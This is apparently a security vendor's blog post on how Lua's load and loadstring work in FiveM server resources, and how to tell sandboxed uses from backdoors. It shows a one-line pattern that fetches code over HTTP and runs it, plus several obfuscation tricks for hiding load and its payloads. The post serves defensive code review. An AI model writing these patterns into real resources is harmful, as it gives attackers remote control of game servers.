load and loadstring in FiveM: legitimate uses and backdoor tricks
load() turns a string into running Lua - the sink almost every FiveM backdoor ends in. Legitimate uses, the disguises backdoors use, and how to review it.
Published 4 min readFXScan team, Titan Software
load compiles a string into a Lua function. loadstring is the Lua 5.1 name
for the same thing; FiveM's Lua 5.4 runtime uses load, but you will still meet
loadstring in older code and in snippets that alias it
(loadstring = loadstring or load). Call the returned function and the string
runs as code - with every permission the resource has.
That makes load the end point of nearly every FiveM backdoor. It does not
make every load a backdoor. This note covers how to tell them apart.
The question that matters
Where does the string come from?
- From a constant or a file inside the resource itself → usually a plugin system, a config format or a templating trick. Worth understanding, rarely dangerous.
- From an HTTP response, a net event, a chat command, a KVP value or a file another resource can write → remote code execution. See FiveM RCE for the full list of paths.
Legitimate uses
-- A config file stored as Lua and evaluated in a sandbox
local source = LoadResourceFile(GetCurrentResourceName(), "config/items.lua")
local chunk = load(source, "@items.lua", "t", { })
local items = chunk and chunk()
The input is a file shipped with the resource, the mode is "t" (text only, no
precompiled bytecode), and the fourth argument is an empty environment, so the
chunk cannot reach _G, ExecuteCommand or anything else. That is a careful
use. Many legitimate uses are less careful but still harmless because the input
never leaves the resource.
Malicious uses and their disguises
The plain version is rare:
PerformHttpRequest(url, function(_, body) load(body)() end)
What you actually find is load hidden so a text search misses it:
local run = load -- alias
_G["lo" .. "ad"](payload)() -- dynamic global lookup
_ENV[string.char(108,111,97,100)](p)() -- char codes spelling "load"
local f = rawget(_G, ("daol"):reverse()) -- reversed string
JavaScript resources have the same family: eval, new Function(...), and
setTimeout handed a string instead of a function.
and the payload hidden so the file looks empty of anything dangerous:
local p = "6c6f63616c20..." -- hex
local p = "bG9jYWwgcCA9..." -- Base64 through a custom decoder
local p = xor(blob, key) -- XOR against a short key
Each of these reaches the same sink. FXScan's rules for aliased execution primitives, dynamic lookups of global execution functions, string timers and executed literals that decode to dangerous code exist because of exactly these shapes - see the remote code execution rules and the obfuscation rules.
The bytecode case
load(string.dump(fn)) -- or a long "\27Lua..." literal
load without a mode restriction accepts precompiled Lua bytecode as well as
source. Bytecode cannot be read like source, and a resource that ships a blob
beginning with the \27Lua signature is shipping code nobody can review. FXScan
records precompiled bytecode as unreadable rather than pretending to analyse it,
which is itself a reason to ask the author why.
Reviewing load by hand
- Find every
loadandloadstring(anddofile/loadfilewhere the runtime provides them) - and every place where_G,_ENVorrawgetis indexed with a computed string. - For each, trace the argument backward to its source.
- If any source is a network callback, an event argument, a command argument or a file outside the resource, treat it as RCE.
- Where
loadis legitimate, preferload(src, name, "t", env)with a restricted environment.
Step 2 is where manual review breaks down: the string is often assembled across
several functions or files. FXScan does that trace automatically, through
variables, tables, decoders and aliases, and shows the path. A lone load() is
not reported; a path from untrusted input to it is a CRITICAL.
Limits
A load whose input is built from runtime values - a convar, a database row -
can be flagged by shape but not evaluated, because the value does not exist when
the code is analysed. What a security scan cannot
tell you explains where the line
is.
Upload a resource to the FiveM backdoor scanner to see every load that
untrusted data can reach. If you also want to understand which files a resource
loads in the first place, Titan Software's fxmanifest.lua
guide explains
server_scripts, client_scripts and shared_scripts.